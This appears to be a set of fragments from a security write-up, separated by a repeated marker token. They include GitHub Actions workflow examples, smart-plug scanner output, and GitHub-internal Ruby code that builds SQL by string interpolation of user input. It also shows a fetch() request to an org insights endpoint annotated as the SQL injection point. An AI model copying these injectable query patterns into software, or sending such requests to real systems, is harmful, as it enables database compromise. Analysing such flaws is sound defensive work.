irsl

jobs:
  untrusted:
    permissions: {}
    steps:
       # doing something untrusted
       - ...

  trusted_post_processing:
    needs: untrusted
    permissions:

irsl

jobs:
  trusted_preparation_step:
    permissions: {}
    steps:
      - name: produce_executable
        run: |
          # produce trusted_executable
      - uses: actions/upload-artifact@v4
        with:
          name: trusted_executable

irsl

#!/usr/bin/env python3

import json
import re
import requests
import sys

def slurp(p):
    with open(p, "r") as f:
        return f.read()

irsl

root@host:/# python3 tapo_scanner.py
{
   "device_id": "36612bba[redacted]9005d5f",
   "owner": "E4483[redacted]BCBD1",
   "device_type": "SMART.TAPOPLUG",
   "device_model": "P110(EU)",
   "ip": "10.6.8.113",
   "mac": "28-87-BA-48-80-14",
   "is_support_iot_cloud": true,
   "obd_src": "tplink",

irsl

    def self.invoice_for_number(zuora_invoice_number)
      response = GitHub.zuorest_client.query_action queryString: "select Id from Invoice where InvoiceNumber = '#{zuora_invoice_number}'"

      response["records"].map { |record| new(record["Id"]) }.first
    end

irsl

 sig { params(incl_filters: T::Array[String], excl_filters: T::Array[String], table: T.nilable(String)).void }
...

          sig { override.returns(T.nilable(String)) }
          memoize def query_clause
            incl_slugs, excl_slugs = resolve_filters
            return "1=0" if !incl_slugs.nil? && incl_slugs.empty?

            predicates = []
            predicates << "#{@col} IN (#{incl_slugs.map { |f| "'#{f}'" }.join(', ')})" unless incl_slugs.nil?

irsl

admin@ggithub-duckdns-org:~$ github-env
git@ggithub-duckdns-org:/github$ toggle-feature-flag enable ospo_insights_enabled irsleorg
...
=> ospo_insights_enabled enabled for irsleorg

git@ggithub-duckdns-org:/github$ toggle-feature-flag enable insights_legacyplan_enabled irsleorg
...
=> insights_legacyplan_enabled enabled for irsleorg

irsl

  fetch('/orgs/irsleorg/insights/org_issue_trend_data', {
   method: 'POST',
   headers: {
	 'GitHub-Verified-Fetch': 'true', 'Content-type': 'application/json'
   },
   body: JSON.stringify({repos: "arbitrary-string-here"}), // SQLi here!
 })
  .then(response => {
    console.log("response", response)
	return response.text();

irsl

  def issue_where_clause
    repo_ids = params[:repos].present? ? params[:repos].split(",") : []

    if !repo_ids.empty?
      "I.RepositoryId IN (#{repo_ids.join(', ')}) "
    end
  end

  def ospo_issue_trend_data # rubocop:todo GitHub/UseRestfulActions
    return render_404 unless this_organization.ospo_insights_enabled?

irsl

admin@ggithub-duckdns-org:~$ sudo chroot --userspec nobody:nogroup / /bin/bash
bash: /root/.bashrc: Permission denied

nobody@ggithub-duckdns-org:/$ cat /proc/self/status
Name:   cat
Umask:  0022
State:  R (running)
Tgid:   5104
Ngid:   0
Pid:    5104